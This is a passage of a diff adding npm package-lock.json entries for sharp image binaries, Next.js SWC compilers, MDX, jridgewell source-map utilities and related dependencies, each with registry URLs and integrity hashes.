+ "@humanwhocodes/object-schema": "^2.0.2",
+ "debug": "^4.3.1",
+ "minimatch": "^3.0.5"
+ },
+ "engines": {
+ "node": ">=10.10.0"
+ }
+ },
+ "node_modules/@humanwhocodes/module-importer": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
+ "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
+ "engines": {
+ "node": ">=12.22"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/nzakas"
+ }
+ },
+ "node_modules/@humanwhocodes/object-schema": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz",
+ "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==",
+ "deprecated": "Use @eslint/object-schema instead"
+ },
+ "node_modules/@img/colour": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.0.0.tgz",
+ "integrity": "sha512-A5P/LfWGFSl6nsckYtjw9da+19jB8hkJ6ACTGcDfEJ0aE+l2n2El7dsVM7UVHZQ9s2lmYMWlrS21YLy2IR1LUw==",
+ "license": "MIT",
+ "optional": true,
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@img/sharp-darwin-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz",
+ "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-arm64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-darwin-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz",
+ "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-darwin-x64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-libvips-darwin-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz",
+ "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-darwin-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz",
+ "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-arm": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz",
+ "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz",
+ "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-ppc64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz",
+ "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-riscv64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz",
+ "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==",
+ "cpu": [
+ "riscv64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-s390x": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz",
+ "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==",
+ "cpu": [
+ "s390x"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linux-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz",
+ "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linuxmusl-arm64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz",
+ "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-libvips-linuxmusl-x64": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz",
+ "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-linux-arm": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz",
+ "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linux-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz",
+ "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-arm64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linux-ppc64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz",
+ "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-ppc64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linux-riscv64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz",
+ "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==",
+ "cpu": [
+ "riscv64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-riscv64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linux-s390x": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz",
+ "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==",
+ "cpu": [
+ "s390x"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-s390x": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linux-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz",
+ "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linux-x64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linuxmusl-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz",
+ "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-arm64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-linuxmusl-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz",
+ "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-libvips-linuxmusl-x64": "1.2.4"
+ }
+ },
+ "node_modules/@img/sharp-wasm32": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz",
+ "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==",
+ "cpu": [
+ "wasm32"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
+ "optional": true,
+ "dependencies": {
+ "@emnapi/runtime": "^1.7.0"
+ },
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz",
+ "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-ia32": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz",
+ "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@img/sharp-win32-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz",
+ "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/@isaacs/cliui": {
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
+ "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
+ "dependencies": {
+ "string-width": "^5.1.2",
+ "string-width-cjs": "npm:string-width@^4.2.0",
+ "strip-ansi": "^7.0.1",
+ "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
+ "wrap-ansi": "^8.1.0",
+ "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@isaacs/cliui/node_modules/ansi-regex": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+ "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+ }
+ },
+ "node_modules/@isaacs/cliui/node_modules/strip-ansi": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
+ "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+ "dependencies": {
+ "ansi-regex": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+ }
+ },
+ "node_modules/@jridgewell/gen-mapping": {
+ "version": "0.3.8",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz",
+ "integrity": "sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==",
+ "dependencies": {
+ "@jridgewell/set-array": "^1.2.1",
+ "@jridgewell/sourcemap-codec": "^1.4.10",
+ "@jridgewell/trace-mapping": "^0.3.24"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/set-array": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
+ "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz",
+ "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ=="
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.25",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
+ "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
+ "dependencies": {
+ "@jridgewell/resolve-uri": "^3.1.0",
+ "@jridgewell/sourcemap-codec": "^1.4.14"
+ }
+ },
+ "node_modules/@mdx-js/mdx": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-3.1.0.tgz",
+ "integrity": "sha512-/QxEhPAvGwbQmy1Px8F899L5Uc2KZ6JtXwlCgJmjSTBedwOZkByYcBG4GceIGPXRDsmfxhHazuS+hlOShRLeDw==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdx": "^2.0.0",
+ "collapse-white-space": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "estree-util-scope": "^1.0.0",
+ "estree-walker": "^3.0.0",
+ "hast-util-to-jsx-runtime": "^2.0.0",
+ "markdown-extensions": "^2.0.0",
+ "recma-build-jsx": "^1.0.0",
+ "recma-jsx": "^1.0.0",
+ "recma-stringify": "^1.0.0",
+ "rehype-recma": "^1.0.0",
+ "remark-mdx": "^3.0.0",
+ "remark-parse": "^11.0.0",
+ "remark-rehype": "^11.0.0",
+ "source-map": "^0.7.0",
+ "unified": "^11.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "unist-util-stringify-position": "^4.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/@microsoft/clarity": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@microsoft/clarity/-/clarity-1.0.0.tgz",
+ "integrity": "sha512-2QY6SmXnqRj6dWhNY8NYCN3e53j4zCFebH4wGnNhdGV1mqAsQwql2fT0w8TISxCvwwfVp8idsWLIdrRHOms1PQ=="
+ },
+ "node_modules/@next/env": {
+ "version": "15.5.9",
+ "resolved": "https://registry.npmjs.org/@next/env/-/env-15.5.9.tgz",
+ "integrity": "sha512-4GlTZ+EJM7WaW2HEZcyU317tIQDjkQIyENDLxYJfSWlfqguN+dHkZgyQTV/7ykvobU7yEH5gKvreNrH4B6QgIg==",
+ "license": "MIT"
+ },
+ "node_modules/@next/eslint-plugin-next": {
+ "version": "13.5.1",
+ "resolved": "https://registry.npmjs.org/@next/eslint-plugin-next/-/eslint-plugin-next-13.5.1.tgz",
+ "integrity": "sha512-LBlI3iQvlzRE7Y6AfIyHKuM4T6REGmFgweN2tBqEUVEfgxERBLOutV2xckXEp3Y3VbfJBBXKZNfDzs20gHimSg==",
+ "dependencies": {
+ "glob": "7.1.7"
+ }
+ },
+ "node_modules/@next/swc-darwin-arm64": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-15.5.7.tgz",
+ "integrity": "sha512-IZwtxCEpI91HVU/rAUOOobWSZv4P2DeTtNaCdHqLcTJU4wdNXgAySvKa/qJCgR5m6KI8UsKDXtO2B31jcaw1Yw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-darwin-x64": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-15.5.7.tgz",
+ "integrity": "sha512-UP6CaDBcqaCBuiq/gfCEJw7sPEoX1aIjZHnBWN9v9qYHQdMKvCKcAVs4OX1vIjeE+tC5EIuwDTVIoXpUes29lg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-arm64-gnu": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-15.5.7.tgz",
+ "integrity": "sha512-NCslw3GrNIw7OgmRBxHtdWFQYhexoUCq+0oS2ccjyYLtcn1SzGzeM54jpTFonIMUjNbHmpKpziXnpxhSWLcmBA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-arm64-musl": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-15.5.7.tgz",
+ "integrity": "sha512-nfymt+SE5cvtTrG9u1wdoxBr9bVB7mtKTcj0ltRn6gkP/2Nu1zM5ei8rwP9qKQP0Y//umK+TtkKgNtfboBxRrw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-x64-gnu": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-15.5.7.tgz",
+ "integrity": "sha512-hvXcZvCaaEbCZcVzcY7E1uXN9xWZfFvkNHwbe/n4OkRhFWrs1J1QV+4U1BN06tXLdaS4DazEGXwgqnu/VMcmqw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-x64-musl": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-15.5.7.tgz",
+ "integrity": "sha512-4IUO539b8FmF0odY6/SqANJdgwn1xs1GkPO5doZugwZ3ETF6JUdckk7RGmsfSf7ws8Qb2YB5It33mvNL/0acqA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-win32-arm64-msvc": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-15.5.7.tgz",
+ "integrity": "sha512-CpJVTkYI3ZajQkC5vajM7/ApKJUOlm6uP4BknM3XKvJ7VXAvCqSjSLmM0LKdYzn6nBJVSjdclx8nYJSa3xlTgQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-win32-x64-msvc": {
+ "version": "15.5.7",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-15.5.7.tgz",
+ "integrity": "sha512-gMzgBX164I6DN+9/PGA+9dQiwmTkE4TloBNx8Kv9UiGARsr9Nba7IpcBRA1iTV9vwlYnrE3Uy6I7Aj6qLjQuqw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/third-parties": {
+ "version": "15.1.7",
+ "resolved": "https://registry.npmjs.org/@next/third-parties/-/third-parties-15.1.7.tgz",
